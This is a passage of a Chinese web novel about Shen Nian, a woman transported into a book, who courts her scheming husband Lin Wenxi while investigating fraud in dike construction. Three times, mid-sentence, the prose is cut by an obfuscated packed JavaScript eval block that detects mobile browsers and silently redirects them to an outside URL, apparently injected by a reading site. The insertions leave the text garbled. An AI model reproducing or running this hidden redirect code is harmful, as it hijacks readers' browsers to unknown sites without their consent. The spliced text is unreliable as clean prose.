“昨夜下了雨,我家郎君他腿疼的厉害。”沈年一五一十的说。 “既如此严重了,你回去嘱咐你家夫君善自保养,切忌每日走那么多路。” “大夫,什么意思?” “你不知道嘛,我在这门口每日都看见你家郎君早上跟在你后面出去,午后才又回来,这么走,不疼才怪呢。” 看到沈年的表情,大夫自觉自己多嘴了,着意解释:“我们这是小地方,这十多年也就搬来你们一家,所以也都知道。” 沈年咬着牙点点头,谢了大夫,提着药出来。 原来她还以为是林闻溪操劳着家务,才总是看着很累的样子。 没想到竟然是林闻溪每日忙着跟踪她,昨日在街上估计也是一样。 回到家里,沈年把药交给薇薇,自己气呼呼的坐在院子劈柴。没一会,林闻溪也推门出来了。 “三娘,你回来了。” “嗯。”沈年头都不抬的回道。 林闻溪凑过去和沈年说话,“这些活我干就好了,三娘歇会吧。” “不用。” 林闻溪不知沈年怎突然翻了脸,一整天一会劈柴,一会扫院子,一会还爬到屋顶上修屋瓦。 林闻溪怎么跟沈年说话,沈年也一副爱搭不理的样子。 小薇把药熬好后,沈年把药桶搬来让林闻溪泡着,自己又坐在一边在纸上画图。 “可是有人惹三娘生气了?”林闻溪坐在凳上又开口小心翼翼的问。 沈年回过头来,看了林闻溪一眼,压了压火气说:“这几天你是不是每日都跟着我出门?” 林闻溪明显慌了神,愣住结结巴巴的问:“三娘怎么知道?” 沈年没接林闻溪的话,又问:“你跟着我做什么?” 林闻溪想了想后说:“我只是想知道三娘每日在做什么。” 沈年火气难消,声气冷到冰点:“那你怎么不来问我,成日在背后搞这些小动作是预备要做什么?” “不做什么。” 沈年无论如何不能继续把林闻溪这个随时可能咬上她一口的毒蛇养在身边了。 她要尽早与林闻溪和离。 4. “恩爱”小夫妻 林闻溪眼眶里蓄起泪来,可怜巴巴的瞧着沈年好似有天大的委屈。 “三娘从前看都不愿意多看我一眼,如今好容易肯与我亲近些,我心里珍惜怕三娘又.......不得以才如此做。” 他病容未消,脸上还是白惨惨的,泪珠在脸上一滴滴往下流,却有些病西子的模样。 沈年听着他声泪俱下的诉说自己的少男心事,实在不知道自己该摆什么表情。 这男人真是会做戏,好似他确实真情实感恋着她一般。 眼下她若提起和离之事,先不说林闻溪会作何反应,沈林两府的长辈也不会同意。 沈年心里琢磨着主意,既然林闻溪可以作戏,那她又为何不可。 沈年将笔一甩,懒散的将头倚在靠背上,勾起嘴角注视着林闻溪。 林闻溪用余光瞧见沈年的动作,又多挤出几滴泪来,哭的更伤心了。 “行了。” 沈年起身拿起林闻溪手边的帕子,抬起他的下颌温柔的替他擦眼泪。 林闻溪仰着脸,光是被沈年摸到脸耳尖就迅速染红,眼神忽闪并不敢直视她。 沈年开口问他:“你是怕我再去拈花惹草?” “那三娘有吗?” 回问的时候林闻溪的胸膛随着紧张的呼吸明显起伏,他不相信就凭自己几滴眼泪就能让沈年消了火气,如此柔情相待。 “我说了来这里是为谋前程,无心于旁的,你不该多想。” “是我错了,三娘莫要同我计较。” “无妨,是我从前太糊涂冷落了你,日后你我好生相处。”沈年用手帕覆上他的眼睛,帮他揉了揉发红的眼眶。 林闻溪看不到,只能听到沈年的声音,他闷闷的嗯了一声。 沈年如今俨然一副浪子回头要与他修好的姿态,他何不趁机抓住这女人的心。 毕竟与其守着一瘫在床上的半死人,还是不如赌一把如她日后她发迹,自己做一个体面官眷岂不更好。 林闻溪想着攀上沈年的手背握着,睁开眼睛,语气软和道:“三娘可是不生我的气了?” 沈年笑的更好看了,“郎君喜欢吃醋,倒是夫妻间的意趣,我有何好生气的。” 林闻溪的脸在发烫。 “时候不早,今日你不舒服我先去准备晚饭。” 沈年感受到他的温度,自觉在继续下去的话场面该要收不住了,她寻了个借口把手指从他脸上挪开。 林闻溪黏糊的勾上她的袖口,“怎能让三娘去,等药冷了我去做。” “这有什么,你安心把腿养好再说。” 沈年好声好气的同他周旋,总算从林闻溪的织网中脱身,在院里捡了几根柴火钻进厨房。 不多一会窗户外就飘出一阵青烟,呛得屋里的林闻溪都咳了几声。 他忙穿好鞋袜出屋,急走两步进去将沈年拽出来。 “三娘你不会生火怎不来叫我,瞧这一屋子烟,也不怕被熏到。” 沈年也觉丢脸,尴尬的用袖子擦了擦额上的汗,“我以为能弄好,不想麻烦你。” “三娘还是去忙你的那些画吧,厨房本来也不是你该呆的地方。” 沈年即便是心里有什么谋算,也不好意思让现在病恹恹的林闻溪操劳,她摇头坚决拒绝:“不行,我都和你说好了。” “那我帮三娘看火总行吧。” 林闻溪捂着口鼻蹲在地上,三下五除二将那些散着黑烟的木柴夹出来,重新捡来些细碎的小枝叶扔进去火苗很快燃了起来。 沈年的两个眼珠跟着林闻溪忙碌的身影转,她倒是有些好奇林闻溪也算是出身名门的公子,怎得对这些下人做的粗活如此熟练。 灶台里的火在他手下好似都变的乖顺,不多时就烧的很旺。 “三娘想做什么菜,我可以帮忙择洗。” “唔,我们今日吃顿好的!” 小薇不知什么时候回来的,手里提着一鱼篓欢天喜地的蹦跳。 沈年:“你这丫头跑哪去了?” “开春河水都解冻了,我跟着她们一块去摸鱼了,抓了一条大鱼和好几只虾呢,三娘子快来瞧瞧。” 小薇边说边掀开盖子让沈年看,里面那条鱼一个打挺就蹦了出来,直直飞向沈年的脸。 沈年吓得两脚离地,吱哇乱叫。 林闻溪抓起木盆去拾掉在地上的那鱼,但滑腻腻的总是脱手,本就不大的厨房被这一条鱼弄得鸡飞狗跳。 “三娘怕鱼?” 林闻溪总算将那鱼抓起来泡进水里,脸上是沈年从未见过的煞是新鲜的表情。 沈年面露囧色,急忙为自己解释:“不怕,就是这活蹦乱跳的有点......奇怪。” 沈年紧接着又转移话题,“我今日做红烧鱼块给你们吃如何?” 小薇诧异:“三娘子亲自下厨?” “他病着。” 小薇意味深长的噢了一声。 林闻溪像是害羞微微颔首,脚步挪向她小声跟沈年说话:“那我帮三娘收拾这鱼。” 沈年咬唇提脚不轻不重的踹了小薇一下,小薇反倒更捂着嘴偷笑着扔下鱼篓跑走。 林闻溪选了把趁手的刀,将鱼压到案上,面不改色的准备下刀。 沈年转头见这幕惊了一声,林闻溪又匆忙将用具抬到院外,没一会的功夫便提着处理干净的鱼回来了。 没想到林闻溪手脚如此麻利,沈年一瞬愣神。 林闻溪将鱼递过来,而后退了好几步,“我身上沾了这鱼的血腥气,这就去洗,三娘莫怪。” “我没那个意思,你……去吧。” 鱼烧好端上桌的时候,林闻溪已将自己重新收拾妥当,换了一身衣衫。 林闻溪贴近过来给她碗中添菜的时候,沈年能清晰的闻到他身上散着股淡淡的香气,像是梨花的味道。 这是原书沈年的喜好,林闻溪在这些细枝末节上都这般花心思讨好,可见她今日的戏演的不错。 林闻溪暂且被她稳住了。 书中在堤坝案发后大半工程需要返工,陛下御笔颁下诏书,若有人可保证在汛期来前全数完工,便亲赐引凤钗。 书里并没有人敢揽下这桩事,几城百姓拖夫带子弃家而逃,活生生空了两座城,流民全数涌向京城,而后世道就乱起来。 若她得此圣物,她与林闻溪和离便没人敢多说一个字,且立下这大功一件说不准他日便可登入庙堂,无需再看沈修撰的脸色过活了。 看样子她得提前剧情将贪腐案早些引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334034|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。 沈年拿定主意心中斟酌片刻,跟林闻溪开口:“你也住了几日应当熟悉了,日后我怕是要忙没空在家陪你,你莫再想东想西安生在家才好。” “三娘潜心上进,我晓得轻重自不会再做蠢事了。” 沈年欣慰一笑,为两人各自斟上一杯酒,举杯与林闻溪相碰,仰头一饮而尽。 林闻溪平日并不沾酒,稍稍抿了一口入喉还被呛到了,沈年靠过去拍他的背。 “既不会喝酒就不要勉强。” 林闻溪后靠有意无意的往沈年怀里蹭,沈年应和相迎,对方更是顺势倒在她肩上。 “今日......喝一点不碍事。” 温香满怀,沈年面上波澜不惊,脑袋却已被咚咚咚的心跳声占满,上身笔直的僵在原地。 迟迟未等到沈年搂上来,林闻溪点到为止起身坐好去收拾碗碟。 沈年招架不住,由着他端着东西离开,双手捂着微红的脸长长舒了口气。 她秉烛在案上画模具图直到半夜,林闻溪瞧她埋头苦思的模样,安静坐在塌边理线不去打扰,他铺好床睡下时沈年正握着笔画的起劲。 他想,若是日子能一直这么过下去,或许也不错。 翌日沈年果然倦得很,林闻溪一连唤了她好几次才终于下榻。 冷水抹了把脸才清醒过来,林闻溪把糖饼用纸包好塞到她手里。 “起晚了,小薇在院里等着三娘呢,带到路上吃吧。” 林闻溪跟出门送她到院外,沈年摆手让他回去。 “三娘子和少君感情好的很呢。” 沈年拨开纸啃了一大口饼,味道并不甜腻好吃的很。 “你小小年纪少打听这些事。” “反正我没见过哪位娘子会给郎君下厨的,三娘子还是头一个。” 沈年将小薇拉近,将声音压低道:“先不说这个,今日我有事交代你去做。” 小薇一听是正事,打起精神耳朵都竖起来了。 “从今往后去了河道你不必跟着我,去寻一个叫翠娘的女子,仔细帮我留意着她是否有异常之举。” 小薇在沈府多年,恪守帮主家做事的规矩,只是点头应声旁的并未多问。 书里正是由这位翠娘的猝逝而牵出的贪腐案,而后罗督丞被冤枉下狱问斩,正意气风发入仕为官不久的女主罗从宛从此青云路断,接连被贬。 女主也是在多年后寻到翠姐消失多年的夫君女儿,从他们手中得到证据才为母亲翻案昭雪。 此案幕后黑手并非一人,牵连甚广,她现在无官无凭怕是难以撬动。 需得借罗家之力,但前提是沈年手上得先有证据才能让人信服。 这个时候翠娘手中是否已有证据沈年并不能确定,即便是有想也不会轻易交给她这个外人,托小薇看着她是给自己留一后手。 最稳妥的还是她自己查出点什么来。 沈年神色严肃的再三叮嘱小薇:“此事危险,你需千万小心,不必靠的她太近,在暗处留意便好。” “三娘子放心。” 到了地方小薇向沈年使了个眼色从她身旁离开钻进人堆里攀谈。 刘管事像特意在等她,远远的唤了她一声,招手示意沈年过去。 5. 黏人的醉酒毒夫 沈年当上了个说大不大说小不小的总管。 她恭恭敬敬的向刘管事作了个揖道谢。 “这是罗督丞的意思,不必谢我。” 沈年原以为此事又是受了沈修撰的恩情,听到罗督丞的名字倒是意外。 罗督丞是兰城里人人称道的清正好官,沈年初来乍到受她提携,无一人异议可见她的声望。 沈年管的河段不是很长,一共两里地,她只负责工料开采,用具制备这两桩事,罗督丞算的上是知人善任,沈年走马上任整个早上都忙进忙出的,一点不比平日搬东西轻松多少。 到了日中才有功夫坐下喝一碗热汤,书里翠姐夫君手里的证据是一本名单,上面都各河段的总管,便是沈年现在的位子。 至于手段便是简单的偷梁换柱将真材实料的工料调换为次品填坝,再拿去售卖以此敛财。 名单上有谁的名字原书并没有罗列,像这样的总管少说有三四十个,一个个查起来要查到猴年马月去了。 沈年拍了拍脑门犯愁。 直到她兀的看见随身车间里的那根钻头,一瞬有了主意。人不好查,坝可是一验便知是虚是实。 “三娘子,那人我找到了但暂时没看出她有什么异样。” 小薇捧着碗不经意凑到沈年身侧小声嘀咕。 沈年点头表示无妨,日落下工的时候更是一路哼着曲回家。 林闻溪一人在家反锁着院门,听到叩门声出门,远远从门缝里看见沈年的衣裳,理了理额上的碎发抬起门栓迎人。 林闻溪见沈年手上抱着两壶酒,神采飞扬。 他问道:“三娘今日遇什么喜事了?” 小薇嘴碎叽叽咂咂的跟林闻溪念叨:“三娘子今日升了总管,”说话间从腰间扯下钱袋,铜板相碰发出清脆的响声,“今日挣了三百文钱呢。” 林闻溪闻言面露喜色,笑呵呵的随沈年一同步入主屋。 木盆里已替沈年备好了温水,林闻溪将白巾浸湿唤她坐好擦擦脸。 沈年刚把身上沾了灰的外衫脱下,内屋的温纱暖帐让她忽才感一身疲惫,她在矮凳上坐下闭着眼养神。 林闻溪跟着走过来,扶着她的肩动作轻柔为她擦拭,沈年相貌生的不错,那双桃花眼更是尤其的漂亮,此刻她恍然一睁眼看他,林闻溪心下不免悸动。 他随之又觉莫名烦躁,想来沈年如此招那些男人喜欢便是凭这一双眼吧。 他停下手中的动作握紧掌心,太过用力巾子里的水滴滴答答的打到地板上。 这声音让他清醒过来,慌忙间蹲下去收拾。 “没事的,几滴水而已片刻就会干。” 沈年托着他的胳膊低头和他说话。 林闻溪一抬头差点贴上沈年的脸,仅咫尺之距,他呼吸一滞不自觉闪躲伏在她膝上。 沈年抬脸望天,心脏狂跳。 平定好心绪,她低头拍拍林闻溪的后背。 “地上凉,你不起来吗?” 林闻溪微微扭头露出下半张侧脸,他有些懊悔刚刚错过良机,没等沈年亲上来,此时回过神来自然是有意勾引,不过实话说她身上暖的很,贴着她很舒心。 见他不动,沈年无奈覆在他脸上抚了抚,指尖碰到他唇边的时候,林闻溪怯生生的吻了一下。 沈年心中轰雷,但此时她可不能败下阵,俯身下去在他额上轻啄几下回应。 只是亲额头,林闻溪反觉比直接唇齿相亲更让他心跳的厉害。 沈年的气息撒在他脸上,“今日陪我喝点酒吧。” 许久未被人这般抱着,林闻溪此刻有些贪恋,即便是骗来的也罢,他想再多靠一会。 他推脱道:“三娘忘了,我不会喝酒。” “喝一两杯而已,我好容易升了官你不为我庆贺庆贺。” 沈年温言软语的似哄着他,林闻溪才舍的起身。 他中了沈年的计,听她的话强喝了几杯就晕晕乎乎倒在桌上。 白日堤坝上各处人来人往,沈年只有等到夜里才能下手,林闻溪一向睡不踏实,若他半夜醒来不见塌上有她,心中又要生疑。 但事情并没有沈年想的顺利,林闻溪怪的很,喝醉了不合眼睡觉,沈年一离开他近旁便哭,出声的那种哭。 沈年无可奈何只好先和衣与他一同躺下,林闻溪自己搂着她的脖颈紧靠在她身边,倒是不说话,自顾自的捏她的手指玩。 沈年叫他闭上眼睛睡,他如同木偶一般听话。 这恶毒大反派喝醉了居然是这副模样,沈年一时觉得有趣,逗他起身又躺下,林闻溪一一照做。 林闻溪一睡下就又往人身上贴,沈年将他往外推了推。 “是我不乖吗?” 林闻溪没头没尾的突然问了沈年一句,垂着眼尾可怜得很。 沈年总觉得他现在不像是个大人,不由换了种声线哄他一句:“不是,你很听话。” 林闻溪有了笑容头抵在她肩上,讨赏似的说:“我现在就好好睡觉。” 沈年隐隐的觉得不对劲,但又说不上来。 直到林闻溪许久不动呼吸平缓下来,沈年轻手轻脚挪开他搭在身上的手,悄悄下了塌。 出了屋,沈年敲了敲小薇的窗,灯一灭小薇从门缝里钻出来。 两人将院门落锁,拐进巷路里去。 行到一处有月光的路段,沈年才瞧见小薇腰间别着一把明晃晃的刀。 “你怎还带着这东西?” 沈年本不紧张,现下倒后知后觉起来了。 小薇摸上刀柄自腰间抽出来递给沈年:“三娘子不说我都忘了,夜间行事拿着防身吧。” “我叫你来本就危险,你留着自己用吧。” “我自幼跟着我娘亲学武,一般人近不了我的身,放心吧。” 沈年安心不少,果然是沈父选给她的人不是没有道理。 她推回小薇的胳膊,“我不会使刀,而且我有‘武器’也用不着这个。” 二人饶了远路,夜里又黑漆漆的,所幸一路并没有遇到什么人,估摸着走了一个多时辰到了地方。 远远的看见库房旁的布帐里亮着盏昏暗的灯火,有人在值守。 小薇向她打了个手势,弓着腰摸过去打探,沈年悄咪咪蹲在原地大气不敢出。 她果真是练过功夫的,身形矫健走起路来一点声音也没有,返回低声同沈年说:“那人睡着了,我在这里盯着,三娘子快去快回。” 沈年拍了拍她的肩,而后转身往前走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334035|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 离了布帐老远,她才敢停下寻了一段边角地,掏出钻头往坝上钻孔,登时发出刺耳的噪音,她立刻停下观察那边的反应。 见并无什么异常,便加快动作。 在钻到第三个位置的时候沈年便有所发现,刚破开外壁里面就往外渗沙还掺着木屑杂物。 她掏出布袋将东西装进去,吹亮火折子在地图上标好地点,简单将打的孔复原就叫上小薇往回赶。 沈年推开院门的时候,屋门大敞着,榻上空荡荡的不见林闻溪的身影。 她吓了一大跳,捧着灯唤他的名字满院子寻人。 林闻溪从柴堆里钻出来的时候,沈年浑身都被惊出了一层冷汗。 沈年又急又气拽着他的领口把人拎起来,“你藏到那里干什么!” 林闻溪扑上来整个肩头压在她身上,口齿不清:“你去哪了,黑乎乎的我好害怕。” 小薇从厨房里寻出来,正撞见这幕慌慌张张的跑回了屋。 沈年心想这一个两个全都奇奇怪怪的,不过是抱了一下而已又不是做什么,用的着跑这么快嘛。 林闻溪蹭了一身的地上的泥,沈年将人拽回屋,又热了水给他擦脸抹手,翻出件干净的内衫丢给他。 “把你身上脏的换下来。” 沈年说罢转身背对他,听见他悉悉索索解衣服的声音合上眼等。 “好了没?” 沈年身心俱疲,等的太久她坐着都打瞌睡,出言催促林闻溪。 林闻溪在身后戳她,沈年转过头来眼前一黑慌忙拉起被子盖在他身上。 她究竟怎么想到把林闻溪灌醉这个脑子缺根筋的主意的。 林闻溪还要往外探手探脚的黏她,沈年用枕头把他的被角压住。 “不许乱动,听到没有。” 他落寞靠在枕头上点头。 沈年重新抱了床被子盖上,终于能躺下休息,没多久便呼呼大睡。 林闻溪睁眼的时候,他侧躺着一条大腿还压在沈年身上,低头看见被中的光景,脸烧的厉害,他只记得昨夜和沈年喝酒,怎就裸着身子睡下了...... 他实在想不起什么来。 林闻溪慌里慌张系好衣裳下榻,去院里打水洗脸。 “少君。” 林闻溪正要应声,看见小薇脸上明显不好意思的表情,又躲进了屋。 沈年昨夜……真的与他圆房了?是有什么动静被听到了吗? 他脑子里浮想联翩,偏偏沈年还睡的死,林闻溪不好叫她,坐在塌边看着沈年的睡颜脸一阵红一阵白,连出屋给沈年煮粥都不好意思了。 沈年一睁眼便是林闻溪古怪的脸。 她心虚的爬起来,怕林闻溪开口质问昨夜灌他酒的事情,一时不知道该想什么说辞。 林闻溪这边更是不知道怎么开口去问,脸憋的通红。 “昨晚我喝醉了不太记得,我……没弄出什么大动静吵到别人吧。” 沈年听林闻溪的话,语气轻松起来,“没什么,你就是哭了几声。” 这话让林闻溪彻底误会:“哭?” 沈年:“对呀,而且我一走你就哭。” 林闻溪五雷轰顶僵在原地,沈年出门的时候都没起身去送。 6. 为妻主买布裁衣 林闻溪觉得身上倦,干脆身子一歪又倒在榻上窝着,自己也知觉他来了兰城愈发的没规矩了,今晨他没准备早膳,沈年竟好脾气到连眉头都没皱一下就那么饿着肚子出门去了。 他鬼使神差的探下手指去摸了摸自己的平坦的小腹,与沈年成婚已过大半年,二人新婚之夜未圆房的事一直是梗在他心头的一个尖刺,若被人知道他为人夫半年还是清白之身不知暗地里该被如何耻笑,现在总算不必为此事惴惴不安了。 眼下这点小小的尴尬比起来实在算不得什么。 林闻溪振作着爬起来收整好床榻,又出屋洒扫院子,院落不大收拾起来用不了多久。 他瞧见木盆里泡了件衣服,沈年自来了兰城连盥洗衣服都是亲力亲为,从来都不肯劳动他。 昨夜大概是与他……才没来的及收拾。 他搬到院中间去洗,从水里拎出来才发现居然是他的里衣,脸上又是一阵绯红,忙洗干净晾起来。 反正是闲来无事,林闻溪打算出门买几匹布料,已是二月春来,他这个做夫君的也该给沈年做几身新衣裳。 他锁院门的时候,身边正巧有几个郎君经过,其中一年纪他相仿的同他打了声招呼。 平日里他大部分时间都安静守在院里,左邻右舍有什么热闹偶尔能听个一耳朵。 说话的人声音他听过,想来是周围的住户,他礼貌应了一声,往街上走。 “到底是京宅大院里养着的贵君,说话就是文雅,果真跟我们这些小地方就是不一样。” “这家娘子刚来我就奇怪了,这哪像是干苦工的人。” …… 林闻溪听到几人的议论,放缓了脚步,并未听到什么坏话后他也就没多在意拐过弯去。 沿街走径直进了布料铺子,掌柜热情迎上来,直接引着他去里间看,里面的布料成色一眼看过去就比外面摆着的要好上不少。 “郎君可是要给娘子制衣?” 林闻溪含蓄点头:“嗯。” “那郎君可以瞧瞧那边的几匹,都是上品的流华锦,颜色又清雅,最合适年轻娘子穿上身了。” 他摸着衣料心中想着沈年的样子,她穿浅绿淡蓝之色最是好看,而且与春日也相宜,琢磨着多做几件就一口气买了不少。 掌柜笑的合不拢嘴,直说打京城来的出手就是阔绰。 林闻溪觉得奇怪,街坊四邻晓得他们的来历也就罢了,怎的随便进一家铺子也有人认识他,他久未出门,不知道沈年在外面这是又搞了什么名堂。 他面上只笑笑没有多言,抱好布匹出了铺子,走了有几百米远,听到沈年的声音在唤他名字。 他仰头一望,沈年正站在阁楼窗中瞧他,身边还有一他未曾见过的女子。 沈年引着他上楼,进屋后那女子向他点头作礼,“林郎君安好。” 他闻言看向沈年,沈年才似不情不愿的说话:“这是罗娘子。” 这姓氏林闻溪听小薇提过,是沈年来兰城结识的朋友。 他微微欠身还礼。 眼前之人神采奕奕,眉清目秀一身书卷气,与沈年从前那些狐朋狗友全然不同,林闻溪不免多注目一下。 身旁的沈年咳了一声,似是不经意的迈步挡在他身前,严严实实的遮住了他的视线。 “人也见了,从宛你还是早些回府动身赶考,这里有我和罗大人在呢。” 沈年唤的是其名字,林闻溪听到心中噔了一下,沈年唤他从来都是连名带姓,她与这位罗娘子不过相识月余便如此亲近了吗? 罗从宛语气郑重,向沈年躬身一拜:“一切全都托付给沈妹了。” 沈年有意无意的把林闻溪藏在自己身后,搭着罗从宛的肩将她送出门,两人在门口还又低声切切了几句。 林闻溪心下莫名烦躁。 送走了人,沈年才有空和他说话,“你要缝衣裳?” 林闻溪不咸不淡的说了声是,但沈年比他更心不在焉的点头应付。 林闻溪更不舒服了,冷言问:“三娘可是舍不得罗娘子走?” 若不是刚才罗从宛执意要见礼她拦不住,沈年才不想让林闻溪和女主提前见面。 沈年现在听到林闻溪提起罗从宛就心头一紧,她强行岔开话题生硬的问林闻溪:“你吃过中饭了没?” 林闻溪蹙眉歪着头:“啊?” 见林闻溪一副揪着不放的意思,沈年计上心来反将一军,语气愤愤不平:“明明是你想着她,我瞧你刚才就一直盯着人家看,怎见她一面就对我没好脸色了,怪的很。” 林闻溪一瞬急了:“三娘乱想些什么?” 沈年假装生气,板着脸不说话。 林闻溪凑近握住沈年的手腕摇了摇讨饶:“我已是三娘的人,莫要多心了。” 沈年并不知他误会,对林闻溪所说是她的人并未想的多深。 她见好就收问林闻溪想吃什么。 两人的口味相合,都不喜甜腻爱咸辣爽口的菜式,林闻溪生平头一回在外面的酒楼里用饭,胃口比往常好了不少。 反倒是沈年走神,干捧着一碗米饭嚼。 林闻溪挑好块水煮鱼肉添到沈年碟中:“三娘今日怎在这,没去河道上?” “今日本有事去寻罗督丞来着,正巧罗督丞去送今日罗娘子入京赶春闱,我就追了过去。” 沈年说话遮遮掩掩的,而且小薇也没见跟在她身边,林闻溪放下碗慢慢嚼着东西思忖。 他试探开口问:“听罗娘子的语气,应该不是什么小事情吧。” 沈年不置可否,不欲同他多说,林闻溪没再追问。 妻主外面的公事不要多嘴多舌,这是林闻溪在宴席上常常听郎君们嘴中讲的所谓不成文的规矩。 沈年刚与他热络起来,林闻溪不想惹她生厌。他转头说起买布的事,问沈年知不知道缘由。 “哦——我急着追罗家的马车,在街上骑马被几个官兵拦下来着。” 林闻溪惊的站起来,“在街市里纵马可是明令禁止的,三娘怎能犯这种糊涂。” “我一时着急......” 沈年惭愧低头,她哪里能通晓这书里的律法。 “官兵可押了三娘去衙里?” “我说了名字,长官便让放了我……想来是因为母亲。” 怪不得好似整个兰城都知道他们的底细,原来是闹了这么一出。 他在心中叹这小地方安逸是安逸,就是藏不住事,一有什么风吹草动很快就能传的人尽皆知。 林闻溪冷静下来,顾及着沈年的面子宽慰她:“……这无事便好。” 虽嘴上这么说,但他心里更好奇沈年到底有何等要事要见罗从宛了。 沈年送林闻溪到家门口,把手中的布料交到他手上又匆匆离去。 沈年一走,周围院子的几位郎君便从门后头钻出来调笑起他来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334036|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎呦~拿几块绸缎都怕累着,这大官的千金还这么懂得体贴郎君啊。” “这福气可是真叫人羡慕不来。” 毕竟沈年此番没被问罪是走了沈修撰的后门,林闻溪不愿惹人注目,没有搭腔就往院里进,然而关门的时候被一只手抵住门框。 “郎君且慢关门。” 男子一身轻纱罗衣,往脸上一瞧便知是家中娇养着的,润肤粉面的清纯少年很难不惹人怜爱。 但林闻溪可不是什么良善之人,对这种生来便有老天爷眷顾享福的人他更是厌恶至极。 他冷冷道:“有何事?” “我在家中阁楼上瞧见郎君劈材,那把斧子看着很是好使,不知是在哪家铁铺打造的?” 家中能建的起阁楼自不是什么小门小户,砍柴这种粗活哪里轮得到他这矜贵公子做。 林闻溪眯了眯眼眶,这小少爷寻的借口太过拙劣,他不屑于戳破。 他在心中琢磨,沈年平常在院里呆的比他更久,这小少爷既然能瞧见他,自然也能瞧得见沈年了。 林闻溪接着一细想下去便觉得不适,未出阁的男子整日偷窥别人的妻主揣的是什么心思不言而喻。 猜到对方的意图,林闻溪不客气的用眼神施压,启唇一字一字往外蹦:“我不知道。” 小少爷嘴唇颤动,瑟瑟缩回了手,结结巴巴道:“如此......是不巧了。” 林闻溪砰的一声关上院门,引得众人侧目,纷纷不敢再多嘴而后散去。 他进屋在菩萨像前燃起一炷香磕头,许了个不切实际的愿——他这次能够有孕。 他知晓一向不得上苍怜悯,这样做不过是找个由头安抚他此刻的心焦而已。 来兰城的这不多时日,是他生命里为数不多轻松的时候,他绝不舍得让别人夺去。 至少在他有女儿傍身之前,他不容许沈年身边有别人。 若那男子还敢来套近乎勾搭沈年,就不怪他使些手段了。 沈年这边跟罗督丞说着话,冷不丁打了个寒噤。 小薇刚陪着罗督丞去查验那段堤坝回来,她年近四十五自诩一生为官清明,却不想临近致仕任上竟发生如此大事,现下是又惊又愧。 罗督丞拍着桌子怒道:“我这就上书,请陛下彻查此事。” 沈年上前按下她手中的笔,“这些人既然敢如此肆无忌惮,朝中定是有人内应,这奏折根本递不到陛下面前,到时候反会引来杀身之祸,您可要从长计议才是!” 罗督丞镇静下来,当今陛下年轻势弱,朝中暗流涌动,此事须准备好万全证据,一击即中才可成事。 眼下紧要的是查清到底是哪几个总管参与其中,但堤坝足有千米多远,让沈年一处处去试太费工夫,大规模的查又恐打草惊蛇。 罗督丞满面愁容,盯着面前空白的纸犯难。 沈年道:“我有一人,罗大人可从她身上查起。” 罗督丞眼眸一亮:“是谁?” “坝上的劳工翠娘。” 罗督丞从桌上翻找出记档,寻沈年所说的名字。 “找到了……此人来堤坝上也不久,她能知道什么?” “罗大人您信我一回派人去查就是,此事拖一天就延误一天的工期,害的不仅是罗家还有兰城的百姓,等不得。” 罗督丞心中有千万个疑问,但涉及身家性命顾及不了许多,听了沈年的话密召心腹去探查。 7. 小少爷窒息的爱恋 罗督丞在兰城经营多年根基深厚,人脉颇广查一个人对她来说并不是什么难事。 没两天的功夫就将人查了个底掉,翠姐不是本地人,半年前才搬来兰城。她是个苦命人双亲早逝,与幼弟相依为命长大,而后弟弟远赘杳无音讯,她独身一人前年才讨上夫婿有了孩子。 翠娘原本在本村的日子过的好起来了,但不知为何突然举家搬到了兰城。 书中没有太多笔墨去写翠娘的身世来历,想到她的结局,沈年心中不忍。 她敏锐注意到密探提到的翠娘的胞弟,问可查到他的下落。 密探摇头道:“听说她弟弟回过一趟家但和翠娘大吵了一架,之后就不知去向。” 沈年隐隐觉得翠娘来兰城定与她这个弟弟脱不了干系。 又过一日跟踪翠娘的探子也回来禀消息,说她常绕路回家假装在刘家府邸外歇脚。 刘家药铺是兰城的百年老字号,刘氏更是方圆百里一等一的富商,名下的铺子有几十家。 听闻刘家宅院是请了几位大家巨匠修建而成,院落雕梁画栋令人称奇。但除非主家邀请是进不去的,罗督丞在此多年也未曾进得其中一睹。 翠娘出现在那里做什么? 沈年觉得是时候去寻她问一问了。 翠娘家住的实在偏僻,沈年七拐八绕的才找到地方,鞋上沾了一脚的黑泥。 眼前是一间低矮的破屋,正是晚饭的时候烟囱里向外冒着股股炊烟。 沈年敲了敲门,开门的正是翠娘,她怀里抱着个丁点大的小孩。 翠娘应是认得她,开口一句问沈年来找她做什么。 沈年瞥见屋里还有一男子向她投来目光,想来是翠娘的夫郎。 沈年:“可否借一步说话?” 翠娘形容憔悴,抱着孩子向后缩了缩,对沈年的突然到访心生防备。 “你……究竟有何事在这里说便是。” 沈年盯着翠娘的眼睛问:“你是不是在找你的胞弟?他在刘宅是吗?” 